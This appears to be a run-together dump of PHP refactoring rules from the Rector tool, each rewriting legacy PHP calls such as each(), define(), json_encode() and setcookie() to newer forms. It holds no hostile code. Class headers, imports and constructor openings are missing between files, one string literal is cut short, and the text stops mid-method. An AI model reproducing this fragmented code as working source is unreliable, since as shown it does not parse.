$this->processStrWithResult($stmtsAware, $hasChanged, $key + 2); } if ($hasChanged) { return $stmtsAware; } return null; } private function shouldSkip(Stmt $stmt) : bool { if (!$stmt instanceof Expression) { return \true; } if (!$stmt->expr instanceof FuncCall) { return \true; } if (!$this->isName($stmt->expr, 'parse_str')) { return \true; } return isset($stmt->expr->args[1]); } } stringTypeAnalyzer = $stringTypeAnalyzer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STRING_IN_FIRST_DEFINE_ARG; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Make first argument of define() string', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(int $a) { define(CONSTANT_2, 'value'); define('CONSTANT', 'value'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(int $a) { define('CONSTANT_2', 'value'); define('CONSTANT', 'value'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'define')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (!isset($node->getArgs()[0])) { return null; } $firstArg = $node->getArgs()[0]; if ($this->stringTypeAnalyzer->isStringOrUnionStringOnlyType($firstArg->value)) { return null; } if ($firstArg->value instanceof ConstFetch) { $nodeName = $this->getName($firstArg->value); if ($nodeName === null) { return null; } $firstArg->value = new String_($nodeName); } return $node; } } simplePhpParser = $simplePhpParser; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STRING_IN_ASSERT_ARG; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('String asserts must be passed directly to assert()', [new CodeSample(<<<'CODE_SAMPLE' function nakedAssert() { assert('true === true'); assert("true === true"); } CODE_SAMPLE , <<<'CODE_SAMPLE' function nakedAssert() { assert(true === true); assert(true === true); } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'assert')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstArg = $node->getArgs()[0]; $firstArgValue = $firstArg->value; if (!$firstArgValue instanceof String_) { return null; } $phpCode = 'value . ';'; $contentStmts = $this->simplePhpParser->parseString($phpCode); if (!isset($contentStmts[0])) { return null; } if (!$contentStmts[0] instanceof Expression) { return null; } $node->args[0] = new Arg($contentStmts[0]->expr); return $node; } } > */ public function getNodeTypes() : array { return [Unset_::class, Assign::class, Expression::class]; } /** * @param Unset_|Assign|Expression $node * @return int|null|\PhpParser\Node */ public function refactor(Node $node) { if ($node instanceof Assign) { return $this->refactorAssign($node); } if ($node instanceof Expression) { if (!$node->expr instanceof Unset_) { return null; } return NodeTraverser::REMOVE_NODE; } return $this->nodeFactory->createNull(); } private function refactorAssign(Assign $assign) : ?FuncCall { if (!$assign->expr instanceof Unset_) { return null; } $unset = $assign->expr; if (!$this->nodeComparator->areNodesEqual($assign->var, $unset->expr)) { return null; } return $this->nodeFactory->createFuncCall('unset', [$assign->var]); } } assignManipulator = $assignManipulator; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_EACH; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('each() function is deprecated, use foreach() instead.', [new CodeSample(<<<'CODE_SAMPLE' while (list($key, $callback) = each($callbacks)) { // ... } CODE_SAMPLE , <<<'CODE_SAMPLE' foreach ($callbacks as $key => $callback) { // ... } CODE_SAMPLE ), new CodeSample(<<<'CODE_SAMPLE' while (list($key) = each($callbacks)) { // ... } CODE_SAMPLE , <<<'CODE_SAMPLE' foreach (array_keys($callbacks) as $key) { // ... } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [While_::class]; } /** * @param While_ $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof Assign) { return null; } $listAndEach = $this->assignManipulator->matchListAndEach($node->cond); if (!$listAndEach instanceof ListAndEach) { return null; } $eachFuncCall = $listAndEach->getEachFuncCall(); $list = $listAndEach->getList(); if (!isset($eachFuncCall->getArgs()[0])) { return null; } $firstArg = $eachFuncCall->getArgs()[0]; $foreachedExpr = \count($list->items) === 1 ? $this->nodeFactory->createFuncCall('array_keys', [$firstArg]) : $firstArg->value; $arrayItem = \array_pop($list->items); $isTrailingCommaLast = \false; if (!$arrayItem instanceof ArrayItem) { $foreachedExpr = $this->nodeFactory->createFuncCall('array_keys', [$eachFuncCall->args[0]]); /** @var ArrayItem $arrayItem */ $arrayItem = \current($list->items); $isTrailingCommaLast = \true; } $foreach = new Foreach_($foreachedExpr, $arrayItem, ['stmts' => $node->stmts]); $this->mirrorComments($foreach, $node); // is key included? add it to foreach if ($list->items !== []) { /** @var ArrayItem|null $keyItem */ $keyItem = \array_pop($list->items); if ($keyItem instanceof ArrayItem && !$isTrailingCommaLast) { $foreach->keyVar = $keyItem->value; } } return $foreach; } } list = $list; $this->eachFuncCall = $eachFuncCall; } public function getList() : List_ { return $this->list; } public function getEachFuncCall() : FuncCall { return $this->eachFuncCall; } } isArrayAndDualCheckToAble = $isArrayAndDualCheckToAble; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes is_array + Countable check to is_countable', [new CodeSample(<<<'CODE_SAMPLE' is_array($foo) || $foo instanceof Countable; CODE_SAMPLE , <<<'CODE_SAMPLE' is_countable($foo); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanOr::class]; } /** * @param BooleanOr $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip()) { return null; } return $this->isArrayAndDualCheckToAble->processBooleanOr($node, 'Countable', 'is_countable'); } public function provideMinPhpVersion() : int { return PhpVersionFeature::IS_COUNTABLE; } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_73; } private function shouldSkip() : bool { return !$this->reflectionProvider->hasFunction(new Name('is_countable'), null); } } reflectionProvider = $reflectionProvider; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_INSENSITIVE_CONSTANT_NAME; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes case insensitive constants to sensitive ones.', [new CodeSample(<<<'CODE_SAMPLE' define('FOO', 42, true); var_dump(FOO); var_dump(foo); CODE_SAMPLE , <<<'CODE_SAMPLE' define('FOO', 42, true); var_dump(FOO); var_dump(FOO); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ConstFetch::class]; } /** * @param ConstFetch $node */ public function refactor(Node $node) : ?Node { $constantName = $this->getName($node); if ($constantName === null) { return null; } $uppercasedConstantName = \strtoupper($constantName); // is system constant? if (\in_array($uppercasedConstantName, self::PHP_RESERVED_CONSTANTS, \true)) { return null; } // constant is defined in current lower/upper case if ($this->reflectionProvider->hasConstant(new Name($constantName), null)) { return null; } // is uppercase, all good if ($constantName === $uppercasedConstantName) { return null; } if (\strpos($uppercasedConstantName, '\\') !== \false || \strpos($uppercasedConstantName, '(') !== \false || \strpos($uppercasedConstantName, "'") !== \false) { return null; } $node->name = new FullyQualified($uppercasedConstantName); return $node; } } */ private const PREVIOUS_TO_NEW_FUNCTIONS = ['reset' => self::ARRAY_KEY_FIRST, 'end' => self::ARRAY_KEY_LAST]; public function __construct(ReflectionProvider $reflectionProvider, BetterNodeFinder $betterNodeFinder) { $this->reflectionProvider = $reflectionProvider; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Make use of array_key_first() and array_key_last()', [new CodeSample(<<<'CODE_SAMPLE' reset($items); $firstKey = key($items); CODE_SAMPLE , <<<'CODE_SAMPLE' $firstKey = array_key_first($items); CODE_SAMPLE ), new CodeSample(<<<'CODE_SAMPLE' end($items); $lastKey = key($items); CODE_SAMPLE , <<<'CODE_SAMPLE' $lastKey = array_key_last($items); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { return $this->processArrayKeyFirstLast($node, \false); } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARRAY_KEY_FIRST_LAST; } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_73; } private function processArrayKeyFirstLast(StmtsAwareInterface $stmtsAware, bool $hasChanged, int $jumpToKey = 0) : ?StmtsAwareInterface { if ($stmtsAware->stmts === null) { return null; } /** @var int $totalKeys */ \end($stmtsAware->stmts); /** @var int $totalKeys */ $totalKeys = \key($stmtsAware->stmts); \reset($stmtsAware->stmts); for ($key = $jumpToKey; $key < $totalKeys; ++$key) { if (!isset($stmtsAware->stmts[$key], $stmtsAware->stmts[$key + 1])) { break; } if (!$stmtsAware->stmts[$key] instanceof Expression) { continue; } /** @var Expression $stmt */ $stmt = $stmtsAware->stmts[$key]; if ($this->shouldSkip($stmt)) { continue; } $nextStmt = $stmtsAware->stmts[$key + 1]; /** @var FuncCall $resetOrEndFuncCall */ $resetOrEndFuncCall = $stmt->expr; $keyFuncCall = $this->resolveKeyFuncCall($nextStmt, $resetOrEndFuncCall); if (!$keyFuncCall instanceof FuncCall) { continue; } if ($this->hasInternalPointerChangeNext($stmtsAware, $key + 1, $totalKeys, $keyFuncCall)) { continue; } $newName = self::PREVIOUS_TO_NEW_FUNCTIONS[$this->getName($stmt->expr)]; $keyFuncCall->name = new Name($newName); unset($stmtsAware->stmts[$key]); $hasChanged = \true; return $this->processArrayKeyFirstLast($stmtsAware, $hasChanged, $key + 2); } if ($hasChanged) { return $stmtsAware; } return null; } private function resolveKeyFuncCall(Stmt $nextStmt, FuncCall $resetOrEndFuncCall) : ?FuncCall { if ($resetOrEndFuncCall->isFirstClassCallable()) { return null; } /** @var FuncCall|null */ return $this->betterNodeFinder->findFirst($nextStmt, function (Node $subNode) use($resetOrEndFuncCall) : bool { if (!$subNode instanceof FuncCall) { return \false; } if (!$this->isName($subNode, 'key')) { return \false; } if ($subNode->isFirstClassCallable()) { return \false; } return $this->nodeComparator->areNodesEqual($resetOrEndFuncCall->getArgs()[0], $subNode->getArgs()[0]); }); } private function hasInternalPointerChangeNext(StmtsAwareInterface $stmtsAware, int $nextKey, int $totalKeys, FuncCall $funcCall) : bool { for ($key = $nextKey; $key <= $totalKeys; ++$key) { if (!isset($stmtsAware->stmts[$key])) { continue; } $hasPrevCallNext = (bool) $this->betterNodeFinder->findFirst($stmtsAware->stmts[$key], function (Node $subNode) use($funcCall) : bool { if (!$subNode instanceof FuncCall) { return \false; } if (!$this->isNames($subNode, ['prev', 'next'])) { return \false; } if ($subNode->isFirstClassCallable()) { return \true; } return $this->nodeComparator->areNodesEqual($subNode->getArgs()[0]->value, $funcCall->getArgs()[0]->value); }); if ($hasPrevCallNext) { return \true; } } return \false; } private function shouldSkip(Expression $expression) : bool { if (!$expression->expr instanceof FuncCall) { return \true; } if (!$this->isNames($expression->expr, ['reset', 'end'])) { return \true; } if (!$this->reflectionProvider->hasFunction(new Name(self::ARRAY_KEY_FIRST), null)) { return \true; } return !$this->reflectionProvider->hasFunction(new Name(self::ARRAY_KEY_LAST), null); } } valueResolver = $valueResolver; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Adds JSON_THROW_ON_ERROR to json_encode() and json_decode() to throw JsonException on error', [new CodeSample(<<<'CODE_SAMPLE' json_encode($content); json_decode($json); CODE_SAMPLE , <<<'CODE_SAMPLE' json_encode($content, JSON_THROW_ON_ERROR); json_decode($json, null, 512, JSON_THROW_ON_ERROR); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { // if found, skip it :) $hasJsonErrorFuncCall = (bool) $this->betterNodeFinder->findFirst($node, function (Node $node) : bool { return $this->isNames($node, ['json_last_error', 'json_last_error_msg']); }); if ($hasJsonErrorFuncCall) { return null; } $this->hasChanged = \false; $this->traverseNodesWithCallable($node, function (Node $currentNode) : ?FuncCall { if (!$currentNode instanceof FuncCall) { return null; } if ($this->shouldSkipFuncCall($currentNode)) { return null; } if ($this->isName($currentNode, 'json_encode')) { return $this->processJsonEncode($currentNode); } if ($this->isName($currentNode, 'json_decode')) { return $this->processJsonDecode($currentNode); } return null; }); if ($this->hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::JSON_EXCEPTION; } private function shouldSkipFuncCall(FuncCall $funcCall) : bool { if ($funcCall->isFirstClassCallable()) { return \true; } if ($funcCall->args === null) { return \true; } foreach ($funcCall->args as $arg) { if (!$arg instanceof Arg) { continue; } if ($arg->name instanceof Identifier) { return \true; } } return $this->isFirstValueStringOrArray($funcCall); } private function processJsonEncode(FuncCall $funcCall) : ?FuncCall { if (isset($funcCall->args[1])) { return null; } $this->hasChanged = \true; $funcCall->args[1] = new Arg($this->createConstFetch('JSON_THROW_ON_ERROR')); return $funcCall; } private function processJsonDecode(FuncCall $funcCall) : ?FuncCall { if (isset($funcCall->args[3])) { return null; } // set default to inter-args if (!isset($funcCall->args[1])) { $funcCall->args[1] = new Arg($this->nodeFactory->createNull()); } if (!isset($funcCall->args[2])) { $funcCall->args[2] = new Arg(new LNumber(512)); } $this->hasChanged = \true; $funcCall->args[3] = new Arg($this->createConstFetch('JSON_THROW_ON_ERROR')); return $funcCall; } private function createConstFetch(string $name) : ConstFetch { return new ConstFetch(new Name($name)); } private function isFirstValueStringOrArray(FuncCall $funcCall) : bool { if (!isset($funcCall->getArgs()[0])) { return \false; } $firstArg = $funcCall->getArgs()[0]; $value = $this->valueResolver->getValue($firstArg->value); if (\is_string($value)) { return \true; } return \is_array($value); } } regexPatternArgumentManipulator->matchCallArgumentWithRegexPattern() call */ private const THREE_BACKSLASH_FOR_ESCAPE_NEXT_REGEX = '#(?<=[^\\\\])\\\\{2}(?=[^\\\\])#'; /** * @var string * @see https://regex101.com/r/YgVJFp/1 */ private const LEFT_HAND_UNESCAPED_DASH_REGEX = '#(\\[.*?\\\\(w|s|d))-(?!\\])#i'; /** * @var string * @see https://regex101.com/r/TBVme9/9 */ private const RIGHT_HAND_UNESCAPED_DASH_REGEX = '#(?> */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { $stringKind = $node->getAttribute(AttributeKey::KIND); if (\in_array($stringKind, [String_::KIND_HEREDOC, String_::KIND_NOWDOC], \true)) { return null; } if (StringUtils::isMatch($node->value, self::THREE_BACKSLASH_FOR_ESCAPE_NEXT_REGEX)) { return null; } $stringValue = $node->value; if (StringUtils::isMatch($stringValue, self::LEFT_HAND_UNESCAPED_DASH_REGEX)) { $node->value = Strings::replace($stringValue, self::LEFT_HAND_UNESCAPED_DASH_REGEX, '$1\\-'); // helped needed to skip re-escaping regular expression $node->setAttribute(AttributeKey::IS_REGULAR_PATTERN, \true); return $node; } if (StringUtils::isMatch($stringValue, self::RIGHT_HAND_UNESCAPED_DASH_REGEX)) { $node->value = Strings::replace($stringValue, self::RIGHT_HAND_UNESCAPED_DASH_REGEX, '\\-$1]'); // helped needed to skip re-escaping regular expression $node->setAttribute(AttributeKey::IS_REGULAR_PATTERN, \true); return $node; } return null; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'define')) { return null; } if (!isset($node->args[2])) { return null; } unset($node->args[2]); return $node; } } */ private const KNOWN_OPTIONS = [2 => 'expires', 3 => 'path', 4 => 'domain', 5 => 'secure', 6 => 'httponly']; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert setcookie argument to PHP7.3 option array', [new CodeSample(<<<'CODE_SAMPLE' setcookie('name', $value, 360); CODE_SAMPLE , <<<'CODE_SAMPLE' setcookie('name', $value, ['expires' => 360]); CODE_SAMPLE ), new CodeSample(<<<'CODE_SAMPLE' setcookie('name', $name, 0, '', '', true, true); CODE_SAMPLE , <<<'CODE_SAMPLE' setcookie('name', $name, ['expires' => 0, 'path' => '', 'domain' => '', 'secure' => true, 'httponly' => true]); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } $node->args = $this->composeNewArgs($node); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SETCOOKIE_ACCEPT_ARRAY_OPTIONS; } private function shouldSkip(FuncCall $funcCall) : bool { if (!$this->isNames($funcCall, ['setcookie', 'setrawcookie'])) { return \true; } if ($funcCall->isFirstClassCallable()) { return \true; } $argsCount = \count($funcCall->args); if ($argsCount <= 2) { return \true; } if ($funcCall->args[2] instanceof Arg && $funcCall->args[2]->value instanceof Array_) { return \true; } if ($argsCount === 3) { return $funcCall->args[2] instanceof Arg && $funcCall->args[2]->value instanceof Variable; } return \false; } /** * @return Arg[] */ private function composeNewArgs(FuncCall $funcCall) : array { $args = $funcCall->getArgs(); $newArgs = [$args[0], $args[1]]; unset($args[0]); unset($args[1]); $items = []; foreach ($args as $idx => $arg) { $newKey = new String_(self::KNOWN_OPTIONS[$idx]); $items[] = new ArrayItem($arg->value, $newKey); } $newArgs[] = new Arg(new Array_($items)); return $newArgs; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isNames($node, self::NEEDLE_STRING_SENSITIVE_FUNCTIONS)) { return null; } if (!isset($node->args[1])) { return null; } if (!$node->args[1] instanceof Arg) { return null; } // is argument string? $needleArgValue = $node->args[1]->value; $needleType = $this->getType($needleArgValue); if ($needleType->isString()->yes()) { return null; } if ($needleArgValue instanceof Encapsed) { return null; } $node->args[1]->value = new String_($node->args[1]->value); return $node; } } > */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { $kind = $node->getAttribute(AttributeKey::KIND); if (!\in_array($kind, [String_::KIND_HEREDOC, String_::KIND_NOWDOC], \true)) { return null; } // the doc label is not in the string → ok /** @var string $docLabel */ $docLabel = $node->getAttribute(AttributeKey::DOC_LABEL); if (\strpos($node->value, $docLabel) === \false) { return null; } $node->setAttribute(AttributeKey::DOC_LABEL, $this->uniquateDocLabel($node->value, $docLabel)); // invoke redraw $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } private function uniquateDocLabel(string $value, string $docLabel) : string { $docLabel .= self::WRAP_SUFFIX; $docLabelCounterTemplate = $docLabel . '_%d'; $i = 0; while (\strpos($value, $docLabel) !== \false) { $docLabel = \sprintf($docLabelCounterTemplate, ++$i); } return $docLabel; } } propertyTypeChangeGuard = $propertyTypeChangeGuard; } public function isLegal(Property $property, ClassReflection $classReflection, bool $inlinePublic = \true) : bool { if ($property->type !== null) { return \false; } return $this->propertyTypeChangeGuard->isLegal($property, $classReflection, $inlinePublic); } } nodeNameResolver = $nodeNameResolver; $this->propertyAnalyzer = $propertyAnalyzer; $this->propertyManipulator = $propertyManipulator; $this->parentPropertyLookupGuard = $parentPropertyLookupGuard; } public function isLegal(Property $property, ClassReflection $classReflection, bool $inlinePublic = \true, bool $isConstructorPromotion = \false) : bool { if (\count($property->props) > 1) { return \false; } /** * - trait properties are unpredictable based on class context they appear in * - on interface properties as well, as interface not allowed to have property */ if (!$classReflection->isClass()) { return \false; } $propertyName = $this->nodeNameResolver->getName($property); if ($this->propertyManipulator->isUsedByTrait($classReflection, $propertyName)) { return \false; } if ($this->propertyAnalyzer->hasForbiddenType($property)) { return \false; } if ($inlinePublic) { return \true; } if ($property->isPrivate()) { return \true; } if ($isConstructorPromotion) { return \true; } return $this->isSafeProtectedProperty($classReflection, $property); } private function isSafeProtectedProperty(ClassReflection $classReflection, Property $property) : bool { if (!$property->isProtected()) { return \false; } if (!$classReflection->isFinalByKeyword()) { return \false; } return $this->parentPropertyLookupGuard->isLegal($property, $classReflection); } } betterNodeFinder = $betterNodeFinder; $this->nodeComparator = $nodeComparator; $this->arrayChecker = $arrayChecker; } public function matchArrowFunctionExpr(Closure $closure) : ?Expr { if (\count($closure->stmts) !== 1) { return null; } $onlyStmt = $closure->stmts[0]; if (!$onlyStmt instanceof Return_) { return null; } /** @var Return_ $return */ $return = $onlyStmt; if (!$return->expr instanceof Expr) { return null; } if ($this->shouldSkipForUsedReferencedValue($closure)) { return null; } return $return->expr; } private function shouldSkipForUsedReferencedValue(Closure $closure) : bool { $referencedValues = $this->resolveReferencedUseVariablesFromClosure($closure); if ($referencedValues === []) { return \false; } $isFoundInStmt = (bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($closure, function (Node $node) use($referencedValues) : bool { foreach ($referencedValues as $referencedValue) { if ($this->nodeComparator->areNodesEqual($node, $referencedValue)) { return \true; } } return \false; }); if ($isFoundInStmt) { return \true; } return $this->isFoundInInnerUses($closure, $referencedValues); } /** * @param Variable[] $referencedValues */ private function isFoundInInnerUses(Closure $node, array $referencedValues) : bool { return (bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($node, function (Node $subNode) use($referencedValues) : bool { if (!$subNode instanceof Closure) { return \false; } foreach ($referencedValues as $referencedValue) { $isFoundInInnerUses = $this->arrayChecker->doesExist($subNode->uses, function (ClosureUse $closureUse) use($referencedValue) : bool { return $closureUse->byRef && $this->nodeComparator->areNodesEqual($closureUse->var, $referencedValue); }); if ($isFoundInInnerUses) { return \true; } } return \false; }); } /** * @return Variable[] */ private function resolveReferencedUseVariablesFromClosure(Closure $closure) : array { $referencedValues = []; /** @var ClosureUse $use */ foreach ($closure->uses as $use) { if ($use->byRef) { $referencedValues[] = $use->var; } } return $referencedValues; } } > */ public function getNodeTypes() : array { return [ArrayDimFetch::class]; } /** * @param ArrayDimFetch $node */ public function refactor(Node $node) : ?Node { if (!$this->isFollowedByCurlyBracket($this->file, $node)) { return null; } // re-draw the ArrayDimFetch to use [] bracket $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } private function isFollowedByCurlyBracket(File $file, ArrayDimFetch $arrayDimFetch) : bool { $oldTokens = $file->getOldTokens(); $endTokenPost = $arrayDimFetch->getEndTokenPos(); if (isset($oldTokens[$endTokenPost]) && $oldTokens[$endTokenPost] === '}') { $startTokenPost = $arrayDimFetch->getStartTokenPos(); return !(isset($oldTokens[$startTokenPost][1]) && $oldTokens[$startTokenPost][1] === '${'); } return \false; } } > */ public function getNodeTypes() : array { return [Assign::class]; } /** * @param Assign $node */ public function refactor(Node $node) : ?AssignCoalesce { if (!$node->expr instanceof Coalesce) { return null; } if (!$this->nodeComparator->areNodesEqual($node->var, $node->expr->left)) { return null; } return new AssignCoalesce($node->var, $node->expr->right); } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULL_COALESCE_ASSIGN; } } closureArrowFunctionAnalyzer = $closureArrowFunctionAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change closure to arrow function', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($meetups) { return array_filter($meetups, function (Meetup $meetup) { return is_object($meetup); }); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($meetups) { return array_filter($meetups, fn(Meetup $meetup) => is_object($meetup)); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Closure::class]; } /** * @param Closure $node */ public function refactor(Node $node) : ?Node { $returnExpr = $this->closureArrowFunctionAnalyzer->matchArrowFunctionExpr($node); if (!$returnExpr instanceof Expr) { return null; } $arrowFunction = new ArrowFunction(['params' => $node->params, 'returnType' => $node->returnType, 'byRef' => $node->byRef, 'expr' => $returnExpr]); if ($node->static) { $arrowFunction->static = \true; } $comments = $node->stmts[0]->getAttribute(AttributeKey::COMMENTS) ?? []; if ($comments !== []) { $this->mirrorComments($arrowFunction->expr, $node->stmts[0]); $arrowFunction->setAttribute(AttributeKey::COMMENT_CLOSURE_RETURN_MIRRORED, \true); } return $arrowFunction; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ARROW_FUNCTION; } } > */ public function getNodeTypes() : array { return [Double::class]; } /** * @param Double $node */ public function refactor(Node $node) : ?Node { $kind = $node->getAttribute(AttributeKey::KIND); if ($kind !== Double::KIND_REAL) { return null; } $node->setAttribute(AttributeKey::KIND, Double::KIND_FLOAT); $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'array_key_exists')) { return null; } if (!isset($node->args[1])) { return null; } if (!$node->args[1] instanceof Arg) { return null; } $firstArgStaticType = $this->getType($node->args[1]->value); if (!$firstArgStaticType instanceof ObjectType) { return null; } $node->name = new Name('property_exists'); $node->args = \array_reverse($node->args); return $node; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'filter_var')) { return null; } if (!isset($node->args[1])) { return null; } if (!$node->args[1] instanceof Arg) { return null; } if (!$this->isName($node->args[1]->value, 'FILTER_SANITIZE_MAGIC_QUOTES')) { return null; } $node->name = new Name('addslashes'); unset($node->args[1]); return $node; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?FuncCall { if (!$this->isName($node, 'hebrevc')) { return null; } if ($node->isFirstClassCallable()) { return null; } $node->name = new Name('hebrev'); return new FuncCall(new Name('nl2br'), [new Arg($node)]); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'mb_strrpos')) { return null; } if (!isset($node->args[2])) { return null; } if (isset($node->args[3])) { return null; } if (!$node->args[2] instanceof Arg) { return null; } $secondArgType = $this->getType($node->args[2]->value); if ($secondArgType->isInteger()->yes()) { return null; } $node->args[3] = $node->args[2]; $node->args[2] = new Arg(new LNumber(0)); return $node; } } argsAnalyzer = $argsAnalyzer; $this->valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_MONEY_FORMAT; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change money_format() to equivalent number_format()', [new CodeSample(<<<'CODE_SAMPLE' $value = money_format('%i', $value); CODE_SAMPLE , <<<'CODE_SAMPLE' $value = number_format(round($value, 2, PHP_ROUND_HALF_ODD), 2, '.', ''); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?FuncCall { if (!$this->isName($node, 'money_format')) { return null; } if ($node->isFirstClassCallable()) { return null; } $args = $node->getArgs(); if ($this->argsAnalyzer->hasNamedArg($args)) { return null; } $formatValue = $args[0]->value; if (!$this->valueResolver->isValue($formatValue, '%i')) { return null; } return $this->warpInNumberFormatFuncCall($node, $args[1]->value); } private function warpInNumberFormatFuncCall(FuncCall $funcCall, Expr $expr) : FuncCall { $roundFuncCall = $this->nodeFactory->createFuncCall('round', [$expr, new LNumber(2), new ConstFetch(new Name('PHP_ROUND_HALF_ODD'))]); $funcCall->name = new Name('number_format'); $funcCall->args = [new Arg($roundFuncCall), new Arg(new LNumber(2)), new Arg(new String_('.')), new Arg(new String_(''))]; return $funcCall; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?FuncCall { if (!$this->isName($node, 'restore_include_path')) { return null; } if ($node->isFirstClassCallable()) { return null; } $node->name = new Name('ini_restore'); $node->args[0] = new Arg(new String_('include_path')); return $node; } } limitValue = $limitValue; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add "_" as thousands separator in numbers for higher or equals to limitValue config', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $int = 500000; $float = 1000500.001; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $int = 500_000; $float = 1_000_500.001; } } CODE_SAMPLE , [self::LIMIT_VALUE => 1000000])]); } /** * @return array> */ public function getNodeTypes() : array { return [LNumber::class, DNumber::class]; } /** * @param LNumber|DNumber $node */ public function refactor(Node $node) : ?Node { $rawValue = $node->getAttribute(AttributeKey::RAW_VALUE); if ($this->shouldSkip($node, $rawValue)) { return null; } if (\strpos((string) $rawValue, '.') !== \false) { [$mainPart, $decimalPart] = \explode('.', (string) $rawValue); $chunks = $this->strSplitNegative($mainPart, self::GROUP_SIZE); $literalSeparatedNumber = \implode('_', $chunks) . '.' . $decimalPart; } else { $chunks = $this->strSplitNegative($rawValue, self::GROUP_SIZE); $literalSeparatedNumber = \implode('_', $chunks); // PHP converts: (string) 1000.0 -> "1000"! if (\is_float($node->value)) { $literalSeparatedNumber .= '.0'; } } // this cannot be integer directly to $node->value, as PHPStan sees it as error type // @see https://github.com/rectorphp/rector/issues/7454 $node->setAttribute(AttributeKey::RAW_VALUE, $literalSeparatedNumber); $node->setAttribute(AttributeKey::REPRINT_RAW_VALUE, \true); $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::LITERAL_SEPARATOR; } /** * @param \PhpParser\Node\Scalar\LNumber|\PhpParser\Node\Scalar\DNumber $node * @param mixed $rawValue */ private function shouldSkip($node, $rawValue) : bool { if (!\is_string($rawValue)) { return \true; } // already contains separator if (\strpos($rawValue, '_') !== \false) { return \true; } if ($node->value < $this->limitValue) { return \true; } $kind = $node->getAttribute(AttributeKey::KIND); if (\in_array($kind, [LNumber::KIND_BIN, LNumber::KIND_OCT, LNumber::KIND_HEX], \true)) { return \true; } // e+/e- if (StringUtils::isMatch($rawValue, '#e#i')) { 